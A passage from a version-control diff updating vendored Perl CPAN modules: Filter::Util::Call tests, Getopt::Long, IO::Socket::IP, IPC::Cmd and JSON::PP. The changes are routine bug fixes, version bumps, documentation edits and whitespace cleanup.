-ok(4, $a =~ /^Not enough arguments for Filter::Util::Call::filter_add/m) ;
- 
+my $errmsg = $Config{usecperl}
+  ? qr/^Not enough arguments for subroutine entry Filter::Util::Call::filter_add at ${module}\.pm line/m
+  : qr/^Not enough arguments for Filter::Util::Call::filter_add at ${module}\.pm line/m;
+$a =~ s/^(.*?\n).*$/$1/s; # only the first line
+if ($] < 5.007) {
+    if ($a =~ $errmsg) {
+        ok(4, 1);
+    } else {
+        ok(4, 1, "TODO");
+    }
+} else {
+    ok(4, $a =~ $errmsg, 'usage error')
+       or diag("The error was: ", $a);
+}
 
-
-
 # non-error cases
 #################
 
@@ -86,17 +99,17 @@
 
 writeFile("${module}.pm", <<EOM, <<'EOM') ;
 package ${module} ;
- 
+
 EOM
 use Filter::Util::Call ;
-sub import { 
+sub import {
     filter_add(
   	sub {
- 
+
     	    my ($status) ;
- 
+
     	    if (($status = filter_read()) > 0) {
-        	s/ABC/DEF/g 
+        	s/ABC/DEF/g
     	    }
     	    $status ;
   	} ) ;
@@ -104,7 +117,7 @@
 
 1 ;
 EOM
- 
+
 writeFile($filename, <<EOM, <<'EOM') ;
 
 use $module ;
@@ -131,19 +144,19 @@
 
 # a simple filter, not using a closure
 #################
- 
+
 writeFile("${module}.pm", <<EOM, <<'EOM') ;
 package ${module} ;
- 
+
 EOM
 use Filter::Util::Call ;
 sub import { filter_add(bless []) }
- 
+
 sub filter
 {
     my ($self) = @_ ;
     my ($status) ;
- 
+
     if (($status = filter_read()) > 0) {
         s/ABC/DEF/g
     }
@@ -150,15 +163,15 @@
     $status ;
 }
 
- 
+
 1 ;
 EOM
- 
+
 writeFile($filename, <<EOM, <<'EOM') ;
- 
+
 use $module ;
 EOM
- 
+
 use Cwd ;
 $here = getcwd ;
 print "I am $here\n" ;
@@ -167,9 +180,9 @@
 print <<EOF ;
 Alphabetti Spagetti ($y)
 EOF
- 
+
 EOM
- 
+
 $a = `$Perl "-I." $Inc $filename  $redir` ;
 ok(7, ($? >>8) == 0) ;
 ok(8, $a eq <<EOM) ;
@@ -186,35 +199,35 @@
 writeFile("${module2}.pm", <<EOM, <<'EOM') ;
 package ${module2} ;
 use Filter::Util::Call ;
- 
+
 EOM
 sub import { filter_add(bless []) }
- 
+
 sub filter
 {
     my ($self) = @_ ;
     my ($status) ;
- 
+
     if (($status = filter_read()) > 0) {
         s/XYZ/PQR/g
     }
     $status ;
 }
- 
+
 1 ;
 EOM
- 
+
 writeFile("${module3}.pm", <<EOM, <<'EOM') ;
 package ${module3} ;
 use Filter::Util::Call ;
- 
+
 EOM
 sub import { filter_add(
- 
-    sub 
+
+    sub
     {
         my ($status) ;
-     
+
         if (($status = filter_read()) > 0) {
             s/Fred/Joe/g
         }
@@ -221,13 +234,13 @@
         $status ;
     } ) ;
 }
- 
+
 1 ;
 EOM
- 
+
 writeFile("${module4}.pm", <<EOM) ;
 package ${module4} ;
- 
+
 use $module5 ;
 
 print "I'm feeling used!\n" ;
@@ -239,26 +252,26 @@
 writeFile("${module5}.pm", <<EOM, <<'EOM') ;
 package ${module5} ;
 use Filter::Util::Call ;
- 
+
 EOM
 sub import { filter_add(bless []) }
- 
+
 sub filter
 {
     my ($self) = @_ ;
     my ($status) ;
- 
+
     if (($status = filter_read()) > 0) {
         s/Today/Tomorrow/g
     }
     $status ;
 }
- 
+
 1 ;
 EOM
 
 writeFile($filename, <<EOM, <<'EOM') ;
- 
+
 # two filters for this file
 use $module ;
 use $module2 ;
@@ -265,24 +278,24 @@
 require "$nested" ;
 use $module4 ;
 EOM
- 
+
 print "some letters ABCXYZ\n" ;
 $y = "ABCDEFXYZ" ;
 print <<EOF ;
 Fred likes Alphabetti Spagetti ($y)
 EOF
- 
+
 EOM
- 
+
 writeFile($nested, <<EOM, <<'EOM') ;
 use $module3 ;
 EOM
- 
+
 print "This is another file XYZ\n" ;
 print <<EOF ;
 Where is Fred?
 EOF
- 
+
 EOM
 
 $a = `$Perl "-I." $Inc $filename  $redir` ;
@@ -299,54 +312,54 @@
 
 # using the module context (with a closure)
 ###########################################
- 
- 
+
+
 writeFile("${module2}.pm", <<EOM, <<'EOM') ;
 package ${module2} ;
 use Filter::Util::Call ;
- 
+
 EOM
 sub import
 {
     my ($type) = shift ;
     my (@strings) = @_ ;
- 
- 
+
+
     filter_add (
- 
-	sub 
+
+	sub
 	{
     	    my ($status) ;
     	    my ($pattern) ;
-	     
+
     	    if (($status = filter_read()) > 0) {
                 foreach $pattern (@strings)
           	    { s/$pattern/PQR/g }
     	    }
-	     
+
     	    $status ;
 	}
 	)
- 
+
 }
 1 ;
 EOM
- 
- 
+
+
 writeFile($filename, <<EOM, <<'EOM') ;
- 
+
 use $module2 qw( XYZ KLM) ;
 use $module2 qw( ABC NMO) ;
 EOM
- 
+
 print "some letters ABCXYZ KLM NMO\n" ;
 $y = "ABCDEFXYZKLMNMO" ;
 print <<EOF ;
 Alphabetti Spagetti ($y)
 EOF
- 
+
 EOM
- 
+
 $a = `$Perl "-I." $Inc $filename  $redir` ;
 ok(11, ($? >>8) == 0) ;
 ok(12, $a eq <<EOM) ;
@@ -353,9 +366,9 @@
 some letters PQRPQR PQR PQR
 Alphabetti Spagetti (PQRDEFPQRPQRPQR)
 EOM
- 
 
 
+
 # using the module context (without a closure)
 ##############################################
 
@@ -363,23 +376,23 @@
 writeFile("${module2}.pm", <<EOM, <<'EOM') ;
 package ${module2} ;
 use Filter::Util::Call ;
- 
+
 EOM
-sub import 
-{ 
+sub import
+{
     my ($type) = shift ;
     my (@strings) = @_ ;
 
-  
-    filter_add (bless [@strings]) 
+
+    filter_add (bless [@strings])
 }
- 
+
 sub filter
 {
     my ($self) = @_ ;
     my ($status) ;
     my ($pattern) ;
- 
+
     if (($status = filter_read()) > 0) {
 	foreach $pattern (@$self)
           { s/$pattern/PQR/g }
@@ -387,25 +400,25 @@
 
     $status ;
 }
- 
+
 1 ;
 EOM
- 
- 
+
+
 writeFile($filename, <<EOM, <<'EOM') ;
- 
+
 use $module2 qw( XYZ KLM) ;
 use $module2 qw( ABC NMO) ;
 EOM
- 
+
 print "some letters ABCXYZ KLM NMO\n" ;
 $y = "ABCDEFXYZKLMNMO" ;
 print <<EOF ;
 Alphabetti Spagetti ($y)
 EOF
- 
+
 EOM
- 
+
 $a = `$Perl "-I." $Inc $filename  $redir` ;
 ok(13, ($? >>8) == 0) ;
 ok(14, $a eq <<EOM) ;
@@ -420,22 +433,22 @@
 writeFile("${module2}.pm", <<EOM, <<'EOM') ;
 package ${module2} ;
 use Filter::Util::Call ;
- 
+
 EOM
 sub import
-{ 
+{
     my ($type) = shift ;
     my (@strings) = @_ ;
 
-  
-    filter_add(bless []) 
+
+    filter_add(bless [])
 }
- 
+
 sub filter
 {
     my ($self) = @_ ;
     my ($status) ;
- 
+
     # read first line
     if (($status = filter_read()) > 0) {
 	chop ;
@@ -446,26 +459,26 @@
 
     $status ;
 }
- 
+
 1 ;
 EOM
- 
- 
+
+
 writeFile($filename, <<EOM, <<'EOM') ;
- 
+
 use $module2  ;
 EOM
 print "don't cut me 
 in half\n" ;
-print  
+print 
 <<EOF ;
 appen
 ded
 EO
 F
- 
+
 EOM
- 
+
 $a = `$Perl "-I." $Inc $filename  $redir` ;
 ok(15, ($? >>8) == 0) ;
 ok(16, $a eq <<EOM) ;
@@ -472,6 +485,7 @@
 don't cut me in half
 appended
 EOM
+#print "# $a\n";
 
 # Block test
 #############
@@ -479,26 +493,26 @@
 writeFile("${block}.pm", <<EOM, <<'EOM') ;
 package ${block} ;
 use Filter::Util::Call ;
- 
+
 EOM
 sub import
-{ 
+{
     my ($type) = shift ;
     my (@strings) = @_ ;
 
-  
+
     filter_add (bless [@strings] )
 }
- 
+
 sub filter
 {
     my ($self) = @_ ;
     my ($status) ;
     my ($pattern) ;
- 
+
     filter_read(20)  ;
 }
- 
+
 1 ;
 EOM
 
@@ -512,7 +526,7 @@
 writeFile($filename, <<EOM, $string ) ;
 use $block ;
 EOM
- 
+
 $a = `$Perl "-I." $Inc $filename  $redir` ;
 ok(17, ($? >>8) == 0) ;
 ok(18, $a eq <<EOM) ;
@@ -527,31 +541,31 @@
 writeFile("${block}.pm", <<EOM, <<'EOM') ;
 package ${block} ;
 use Filter::Util::Call ;
- 
+
 EOM
 use Cwd ;
 
 sub import
-{ 
+{
     my ($type) = shift ;
     my (@strings) = @_ ;
 
-  
+
     filter_add(bless [@strings] )
 }
- 
+
 sub filter
 {
     my ($self) = @_ ;
     my ($status) ;
     my ($here) = quotemeta getcwd ;
- 
+
     if (($status = filter_read()) > 0) {
         s/DIR/$here/g
     }
     $status ;
 }
- 
+
 1 ;
 EOM
 
@@ -560,7 +574,7 @@
 EOM
 print "We are in DIR\n" ;
 EOM
- 
+
 $a = `$Perl "-I." $Inc $filename  $redir` ;
 ok(19, ($? >>8) == 0) ;
 ok(20, $a eq <<EOM) ;
@@ -570,27 +584,27 @@
 
 # filter_del
 #############
- 
+
 writeFile("${block}.pm", <<EOM, <<'EOM') ;
 package ${block} ;
 use Filter::Util::Call ;
- 
+
 EOM
- 
+
 sub import
 {
     my ($type) = shift ;
     my ($count) = @_ ;
- 
- 
+
+
     filter_add(bless \$count )
 }
- 
+
 sub filter
 {
     my ($self) = @_ ;
     my ($status) ;
- 
+
     s/HERE/THERE/g
         if ($status = filter_read()) > 0 ;
 
@@ -599,10 +613,10 @@
 
     $status ;
 }
- 
+
 1 ;
 EOM
- 
+
 writeFile($filename, <<EOM, <<'EOM') ;
 use $block (3) ;
 EOM
@@ -611,7 +625,7 @@
 I am HERE
 HERE today gone tomorrow\n" ;
 EOM
- 
+
 $a = `$Perl "-I." $Inc $filename  $redir` ;
 ok(21, ($? >>8) == 0) ;
 ok(22, $a eq <<EOM) ;
@@ -624,35 +638,35 @@
 
 # filter_read_exact
 ####################
- 
+
 writeFile("${block}.pm", <<EOM, <<'EOM') ;
 package ${block} ;
 use Filter::Util::Call ;
- 
+
 EOM
- 
+
 sub import
 {
     my ($type) = shift ;
- 
+
     filter_add(bless [] )
 }
- 
+
 sub filter
 {
     my ($self) = @_ ;
     my ($status) ;
- 
+
     if (($status = filter_read_exact(9)) > 0) {
         s/HERE/THERE/g
     }
- 
+
     $status ;
 }
- 
+
 1 ;
 EOM
- 
+
 writeFile($filenamebin, <<EOM, <<'EOM') ;
 use $block ;
 EOM
@@ -661,7 +675,7 @@
 I'm HERE
 HERE today gone tomorrow\n" ;
 EOM
- 
+
 $a = `$Perl "-I." $Inc $filenamebin  $redir` ;
 ok(23, ($? >>8) == 0) ;
 ok(24, $a eq <<EOM) ;
@@ -675,35 +689,35 @@
 
 # Check __DATA__
 ####################
- 
+
 writeFile("${block}.pm", <<EOM, <<'EOM') ;
 package ${block} ;
 use Filter::Util::Call ;
- 
+
 EOM
- 
+
 sub import
 {
     my ($type) = shift ;
- 
+
     filter_add([])
 }
- 
+
 sub filter
 {
     my ($self) = @_ ;
     my ($status) ;
- 
+
     if (($status = filter_read()) > 0) {
         s/HERE/THERE/g
     }
- 
+
     $status ;
 }
- 
+
 1 ;
 EOM
- 
+
 writeFile($filename, <<EOM, <<'EOM') ;
 use $block ;
 EOM
@@ -715,7 +729,7 @@
 I'm HERE
 HERE today gone tomorrow
 EOM
- 
+
 $a = `$Perl "-I." $Inc $filename  $redir` ;
 ok(25, ($? >>8) == 0) ;
 ok(26, $a eq <<EOM) ;
@@ -731,35 +745,35 @@
 
 # Check __END__
 ####################
- 
+
 writeFile("${block}.pm", <<EOM, <<'EOM') ;
 package ${block} ;
 use Filter::Util::Call ;
- 
+
 EOM
- 
+
 sub import
 {
     my ($type) = shift ;
- 
+
     filter_add(bless [] )
 }
- 
+
 sub filter
 {
     my ($self) = @_ ;
     my ($status) ;
- 
+
     if (($status = filter_read()) > 0) {
         s/HERE/THERE/g
     }
- 
+
     $status ;
 }
- 
+
 1 ;
 EOM
- 
+
 writeFile($filename, <<EOM, <<'EOM') ;
 use $block ;
 EOM
@@ -771,7 +785,7 @@
 I'm HERE
 HERE today gone tomorrow
 EOM
- 
+
 $a = `$Perl "-I." $Inc $filename  $redir` ;
 ok(27, ($? >>8) == 0) ;
 ok(28, $a eq <<EOM) ;
@@ -817,6 +831,48 @@
 
 }
 
+# error: filter_read_exact: size parameter must be > 0
+######################################
+
+writeFile("${block}.pm", <<EOM, <<'EOM') ;
+package ${block} ;
+use Filter::Util::Call ;
+
+EOM
+
+sub import
+{
+    my ($type) = shift ;
+    filter_add(bless [] )
+}
+
+sub filter
+{
+    my ($self) = @_ ;
+    my ($status) ;
+    if (($status = filter_read_exact(0)) > 0) {
+        s/HERE/THERE/g
+    }
+    $status ;
+}
+
+1 ;
+EOM
+
+writeFile($filenamebin, <<EOM, <<'EOM') ;
+use $block ;
+EOM
+print "
+HERE I am
+I'm HERE
+HERE today gone tomorrow\n" ;
+EOM
+
+$a = `$Perl "-I." $Inc $filenamebin  $redir` ;
+ok(33, ($? >>8) != 0) ;
+ok(34, $a =~ /^filter_read_exact: size parameter must be > 0 at block.pm/) ;
+
+
 END {
     1 while unlink $filename ;
     1 while unlink $filename2 ;

Modified: vendor/perl/dist/cpan/Filter-Util-Call/t/rt_101033.t
===================================================================
--- vendor/perl/dist/cpan/Filter-Util-Call/t/rt_101033.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Filter-Util-Call/t/rt_101033.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 
 print "1..1\n";
 my $s = <DATA>;
-print "not " if $s !~ /^test/;
+print "not " if !$s or $s !~ /^test/;
 print "ok 1 # TODO RT #101033 + Switch #97440 ignores __DATA__\n";
 
 __DATA__

Modified: vendor/perl/dist/cpan/Filter-Util-Call/t/rt_54452-rebless.t
===================================================================
--- vendor/perl/dist/cpan/Filter-Util-Call/t/rt_54452-rebless.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Filter-Util-Call/t/rt_54452-rebless.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,8 +8,9 @@
 
 use strict;
 use warnings;
+BEGIN { unshift @INC, 't'; }
 
-require "./filter-util.pl" ;
+require "filter-util.pl" ;
 
 use vars qw( $Inc $Perl) ;
 

Modified: vendor/perl/dist/cpan/Getopt-Long/lib/Getopt/Long.pm
===================================================================
--- vendor/perl/dist/cpan/Getopt-Long/lib/Getopt/Long.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Getopt-Long/lib/Getopt/Long.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,23 +4,24 @@
 # Author          : Johan Vromans
 # Created On      : Tue Sep 11 15:00:12 1990
 # Last Modified By: Johan Vromans
-# Last Modified On: Thu Jun  9 14:50:37 2016
-# Update Count    : 1699
+# Last Modified On: Sat May 27 12:11:39 2017
+# Update Count    : 1715
 # Status          : Released
 
 ################ Module Preamble ################
 
-package Getopt::Long;
-
 use 5.004;
 
 use strict;
+use warnings;
 
+package Getopt::Long;
+
 use vars qw($VERSION);
-$VERSION        =  2.49;
+$VERSION        =  2.50;
 # For testing versions only.
 use vars qw($VERSION_STRING);
-$VERSION_STRING = "2.49";
+$VERSION_STRING = "2.50";
 
 use Exporter;
 use vars qw(@ISA @EXPORT @EXPORT_OK);
@@ -1045,7 +1046,8 @@
 	# Complete the option name, if appropriate.
 	if ( @hits == 1 && $hits[0] ne $opt ) {
 	    $tryopt = $hits[0];
-	    $tryopt = lc ($tryopt) if $ignorecase;
+	    $tryopt = lc ($tryopt)
+	      if $ignorecase > (($bundling && length($tryopt) == 1) ? 1 : 0);
 	    print STDERR ("=> option \"$opt\" -> \"$tryopt\"\n")
 		if $debug;
 	}
@@ -1110,10 +1112,23 @@
 
     # Check if there is an option argument available.
     if ( $gnu_compat ) {
-	my $optargtype = 0; # 0 = none, 1 = empty, 2 = nonempty
-	$optargtype = ( !defined($optarg) ? 0 : ( (length($optarg) == 0) ? 1 : 2 ) );
-    return (1, $opt, $ctl, defined($ctl->[CTL_DEFAULT]) ? $ctl->[CTL_DEFAULT] : undef)
-	  if (($optargtype == 0) && !$mand);
+	my $optargtype = 0; # none, 1 = empty, 2 = nonempty, 3 = aux
+	if ( defined($optarg) ) {
+	    $optargtype = (length($optarg) == 0) ? 1 : 2;
+	}
+	elsif ( defined $rest || @$argv > 0 ) {
+	    # GNU getopt_long() does not accept the (optional)
+	    # argument to be passed to the option without = sign.
+	    # We do, since not doing so breaks existing scripts.
+	    $optargtype = 3;
+	}
+	if(($optargtype == 0) && !$mand) {
+	    my $val
+	      = defined($ctl->[CTL_DEFAULT]) ? $ctl->[CTL_DEFAULT]
+	      : $type eq 's'                 ? ''
+	      :                                0;
+	    return (1, $opt, $ctl, $val);
+	}
 	return (1, $opt, $ctl, $type eq 's' ? '' : 0)
 	  if $optargtype == 1;  # --foo=  -> return nothing
     }
@@ -1753,12 +1768,12 @@
     GetOptions ("library=s" => \@libfiles);
 
 Alternatively, you can specify that the option can have multiple
-values by adding a "@", and pass a scalar reference as the
+values by adding a "@", and pass a reference to a scalar as the
 destination:
 
     GetOptions ("library=s@" => \$libfiles);
 
-Used with the example above, C<@libfiles> (or C<@$libfiles>) would
+Used with the example above, C<@libfiles> c.q. C<@$libfiles> would
 contain two strings upon completion: C<"lib/stdlib"> and
 C<"lib/extlib">, in that order. It is also possible to specify that
 only integer or floating point numbers are acceptable values.
@@ -2322,11 +2337,14 @@
 C<--opt=> will give option C<opt> and empty value.
 This is the way GNU getopt_long() does it.
 
+Note that C<--opt value> is still accepted, even though GNU
+getopt_long() doesn't.
+
 =item gnu_getopt
 
 This is a short way of setting C<gnu_compat> C<bundling> C<permute>
 C<no_getopt_compat>. With C<gnu_getopt>, command line handling should be
-fully compatible with GNU getopt_long().
+reasonably compatible with GNU getopt_long().
 
 =item require_order
 

Modified: vendor/perl/dist/cpan/IO-Socket-IP/lib/IO/Socket/IP.pm
===================================================================
--- vendor/perl/dist/cpan/IO-Socket-IP/lib/IO/Socket/IP.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/IO-Socket-IP/lib/IO/Socket/IP.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
 # $VERSION needs to be set before  use base 'IO::Socket'
 #  - https://rt.cpan.org/Ticket/Display.html?id=92107
 BEGIN {
-   $VERSION = '0.38';
+   $VERSION = '0.39';
 }
 
 use strict;
@@ -31,7 +31,7 @@
 my $AF_INET6 = eval { Socket::AF_INET6() }; # may not be defined
 my $AI_ADDRCONFIG = eval { Socket::AI_ADDRCONFIG() } || 0;
 use POSIX qw( dup2 );
-use Errno qw( EINVAL EINPROGRESS EISCONN ENOTCONN ETIMEDOUT EWOULDBLOCK );
+use Errno qw( EINVAL EINPROGRESS EISCONN ENOTCONN ETIMEDOUT EWOULDBLOCK EOPNOTSUPP );
 
 use constant HAVE_MSWIN32 => ( $^O eq "MSWin32" );
 
@@ -154,7 +154,7 @@
       if( setsockopt $testsock, IPPROTO_IPV6, IPV6_V6ONLY, 0 ) {
          return $can_disable_v6only = 1;
       }
-      elsif( $! == EINVAL ) {
+      elsif( $! == EINVAL || $! == EOPNOTSUPP ) {
          return $can_disable_v6only = 0;
       }
       else {

Modified: vendor/perl/dist/cpan/IPC-Cmd/lib/IPC/Cmd.pm
===================================================================
--- vendor/perl/dist/cpan/IPC-Cmd/lib/IPC/Cmd.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/IPC-Cmd/lib/IPC/Cmd.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,7 +18,7 @@
                         $HAVE_MONOTONIC
                     ];
 
-    $VERSION        = '0.96';
+    $VERSION        = '1.00';
     $VERBOSE        = 0;
     $DEBUG          = 0;
     $WARN           = 1;
@@ -242,7 +242,7 @@
     } else {
         for my $dir (
             File::Spec->path,
-            File::Spec->curdir
+            ( IS_WIN32 ? File::Spec->curdir : () )
         ) {
             next if ! $dir || ! -d $dir;
             my $abs = File::Spec->catfile( IS_WIN32 ? Win32::GetShortPathName( $dir ) : $dir, $command);
@@ -531,6 +531,7 @@
     $child_err->autoflush(1);
 
     my $pid = open3($child_in, $child_out, $child_err, $cmd);
+    Time::HiRes::usleep(1);
 
     # push my child's pid to our parent
     # so in case i am killed parent
@@ -742,7 +743,30 @@
 Coderef of a subroutine to call when a portion of data is received on
 STDERR from the executing program.
 
+=item C<wait_loop_callback>
 
+Coderef of a subroutine to call inside of the main waiting loop
+(while C<run_forked> waits for the external to finish or fail).
+It is useful to stop running external process before it ends
+by itself, e.g.
+
+  my $r = run_forked("some external command", {
+	  'wait_loop_callback' => sub {
+          if (condition) {
+              kill(1, $$);
+          }
+	  },
+	  'terminate_on_signal' => 'HUP',
+	  });
+
+Combined with C<stdout_handler> and C<stderr_handler> allows terminating
+external command based on its output. Could also be used as a timer
+without engaging with L<alarm> (signals).
+
+Remember that this code could be called every millisecond (depending
+on the output which external command generates), so try to make it
+as lightweight as possible.
+
 =item C<discard_output>
 
 Discards the buffering of the standard output and standard errors for return by run_forked().
@@ -1075,6 +1099,10 @@
           push @{$ready_fds}, $select->can_read(1/100) if $child_finished;
         }
 
+        if ($opts->{'wait_loop_callback'} && ref($opts->{'wait_loop_callback'}) eq 'CODE') {
+          $opts->{'wait_loop_callback'}->();
+        }
+
         Time::HiRes::usleep(1);
       }
 

Modified: vendor/perl/dist/cpan/IPC-Cmd/t/03_run-forked.t
===================================================================
--- vendor/perl/dist/cpan/IPC-Cmd/t/03_run-forked.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/IPC-Cmd/t/03_run-forked.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -83,6 +83,7 @@
 
 SKIP: {
   skip 'Skip these tests in PERL_CORE', 100 if $ENV{PERL_CORE};
+  skip 'These tests heisenfail on HPUX', 100 if $^O eq 'hpux';
   for (my $i = 0; $i < 100; $i++) {
     my $f_ipc_cmd = IPC::Cmd::run_forked("$cat $filename");
     my $f_backticks = `$cat $filename`;

Modified: vendor/perl/dist/cpan/JSON-PP/bin/json_pp
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/bin/json_pp	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/bin/json_pp	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,8 +6,6 @@
 
 use JSON::PP ();
 
-my $VERSION = '1.00';
-
 # imported from JSON-XS/bin/json_xs
 
 my %allow_json_opt = map { $_ => 1 } qw(
@@ -22,11 +20,11 @@
    't=s' => \( my $opt_to = 'json' ),
    'json_opt=s' => \( my $json_opt = 'pretty' ),
    'V'   => \( my $version ),
-) or die "Usage: $0 [-v] -f from_format [-t to_format]\n";
+) or die "Usage: $0 [-V] [-f from_format] [-t to_format] [-json_opt options_to_json1[,options_to_json2[,...]]]\n";
 
 
 if ( $version ) {
-    print "$VERSION\n";
+    print "$JSON::PP::VERSION\n";
     exit;
 }
 
@@ -52,12 +50,17 @@
 my %T = (
    'null' => sub { "" },
    'json' => sub {
-      my $json = JSON::PP->new;
+      my $json = JSON::PP->new->utf8;
       $json->$_() for @json_opt;
       $json->encode( $_ );
    },
    'dumper' => sub {
       require Data::Dumper;
+      local $Data::Dumper::Terse     = 1;
+      local $Data::Dumper::Indent    = 1;
+      local $Data::Dumper::Useqq     = 1;
+      local $Data::Dumper::Quotekeys = 0;
+      local $Data::Dumper::Sortkeys  = 1;
       Data::Dumper::Dumper($_)
    },
 );
@@ -91,7 +94,7 @@
 
 =head1 SYNOPSIS
 
-    json_pp [-v] [-f from_format] [-t to_format] [-json_opt options_to_json]
+    json_pp [-v] [-f from_format] [-t to_format] [-json_opt options_to_json1[,options_to_json2[,...]]]
 
 =head1 DESCRIPTION
 
@@ -151,6 +154,12 @@
     ascii latin1 utf8 pretty indent space_before space_after relaxed canonical allow_nonref
     allow_singlequote allow_barekey allow_bignum loose escape_slash
 
+Multiple options must be separated by commas:
+
+    Right: -json_opt pretty,canonical
+
+    Wrong: -json_opt pretty -json_opt canonical
+
 =head2 -v
 
 Verbose option, but currently no action in fact.

Modified: vendor/perl/dist/cpan/JSON-PP/lib/JSON/PP/Boolean.pm
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/lib/JSON/PP/Boolean.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/lib/JSON/PP/Boolean.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,3 +1,19 @@
+package JSON::PP::Boolean;
+
+use strict;
+use overload (
+    "0+"     => sub { ${$_[0]} },
+    "++"     => sub { $_[0] = ${$_[0]} + 1 },
+    "--"     => sub { $_[0] = ${$_[0]} - 1 },
+    fallback => 1,
+);
+
+$JSON::PP::Boolean::VERSION = '2.97001';
+
+1;
+
+__END__
+
 =head1 NAME
 
 JSON::PP::Boolean - dummy module providing JSON::PP::Boolean
@@ -11,13 +27,6 @@
 This module exists only to provide overload resolution for Storable and similar modules. See
 L<JSON::PP> for more info about this class.
 
-=cut
-
-use JSON::PP ();
-use strict;
-
-1;
-
 =head1 AUTHOR
 
 This idea is from L<JSON::XS::Boolean> written by Marc Lehmann <schmorp[at]schmorp.de>

Modified: vendor/perl/dist/cpan/JSON-PP/lib/JSON/PP.pm
===================================================================
--- vendor/perl/dist/cpan/JSON-PP/lib/JSON/PP.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/JSON-PP/lib/JSON/PP.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,14 +4,17 @@
 
 use 5.005;
 use strict;
-use base qw(Exporter);
+
+use Exporter ();
+BEGIN { @JSON::PP::ISA = ('Exporter') }
+
 use overload ();
+use JSON::PP::Boolean;
 
 use Carp ();
-use B ();
 #use Devel::Peek;
 
-$JSON::PP::VERSION = '2.27400_02';
+$JSON::PP::VERSION = '2.97001';
 
 @JSON::PP::EXPORT = qw(encode_json decode_json from_json to_json);
 
@@ -41,8 +44,15 @@
 use constant P_ALLOW_UNKNOWN        => 18;
 
 use constant OLD_PERL => $] < 5.008 ? 1 : 0;
+use constant USE_B => 0;
 
 BEGIN {
+if (USE_B) {
+    require B;
+}
+}
+
+BEGIN {
     my @xs_compati_bit_properties = qw(
             latin1 ascii utf8 indent canonical space_before space_after allow_nonref shrink
             allow_blessed convert_blessed relaxed allow_unknown
@@ -54,7 +64,7 @@
 
     # Perl version check, Unicode handling is enabled?
     # Helper module sets @JSON::PP::_properties.
-    if ($] < 5.008 ) {
+    if ( OLD_PERL ) {
         my $helper = $] >= 5.006 ? 'JSON::PP::Compat5006' : 'JSON::PP::Compat5005';
         eval qq| require $helper |;
         if ($@) { Carp::croak $@; }
@@ -61,7 +71,7 @@
     }
 
     for my $name (@xs_compati_bit_properties, @pp_bit_properties) {
-        my $flag_name = 'P_' . uc($name);
+        my $property_id = 'P_' . uc($name);
 
         eval qq/
             sub $name {
@@ -68,10 +78,10 @@
                 my \$enable = defined \$_[1] ? \$_[1] : 1;
 
                 if (\$enable) {
-                    \$_[0]->{PROPS}->[$flag_name] = 1;
+                    \$_[0]->{PROPS}->[$property_id] = 1;
                 }
                 else {
-                    \$_[0]->{PROPS}->[$flag_name] = 0;
+                    \$_[0]->{PROPS}->[$property_id] = 0;
                 }
 
                 \$_[0];
@@ -78,7 +88,7 @@
             }
 
             sub get_$name {
-                \$_[0]->{PROPS}->[$flag_name] ? 1 : '';
+                \$_[0]->{PROPS}->[$property_id] ? 1 : '';
             }
         /;
     }
@@ -89,16 +99,6 @@
 
 # Functions
 
-my %encode_allow_method
-     = map {($_ => 1)} qw/utf8 pretty allow_nonref latin1 self_encode escape_slash
-                          allow_blessed convert_blessed indent indent_length allow_bignum
-                          as_nonblessed
-                        /;
-my %decode_allow_method
-     = map {($_ => 1)} qw/utf8 allow_nonref loose allow_singlequote allow_bignum
-                          allow_barekey max_size relaxed/;
-
-
 my $JSON; # cache
 
 sub encode_json ($) { # encode
@@ -129,9 +129,6 @@
     my $self  = {
         max_depth   => 512,
         max_size    => 0,
-        indent      => 0,
-        FLAGS       => 0,
-        fallback      => sub { encode_error('Invalid value. JSON can only reference.') },
         indent_length => 3,
     };
 
@@ -164,7 +161,7 @@
     my $enable = defined $v ? $v : 1;
 
     if ($enable) { # indent_length(3) for JSON::XS compatibility
-        $self->indent(1)->indent_length(3)->space_before(1)->space_after(1);
+        $self->indent(1)->space_before(1)->space_after(1);
     }
     else {
         $self->indent(0)->space_before(0)->space_after(0);
@@ -196,14 +193,24 @@
 
 
 sub filter_json_object {
-    $_[0]->{cb_object} = defined $_[1] ? $_[1] : 0;
+    if (defined $_[1] and ref $_[1] eq 'CODE') {
+        $_[0]->{cb_object} = $_[1];
+    } else {
+        delete $_[0]->{cb_object};
+    }
     $_[0]->{F_HOOK} = ($_[0]->{cb_object} or $_[0]->{cb_sk_object}) ? 1 : 0;
     $_[0];
 }
 
 sub filter_json_single_key_object {
-    if (@_ > 1) {
+    if (@_ == 1 or @_ > 3) {
+        Carp::croak("Usage: JSON::PP::filter_json_single_key_object(self, key, callback = undef)");
+    }
+    if (defined $_[2] and ref $_[2] eq 'CODE') {
         $_[0]->{cb_sk_object}->{$_[1]} = $_[2];
+    } else {
+        delete $_[0]->{cb_sk_object}->{$_[1]};
+        delete $_[0]->{cb_sk_object} unless %{$_[0]->{cb_sk_object} || {}};
     }
     $_[0]->{F_HOOK} = ($_[0]->{cb_object} or $_[0]->{cb_sk_object}) ? 1 : 0;
     $_[0];
@@ -229,7 +236,8 @@
 }
 
 sub allow_bigint {
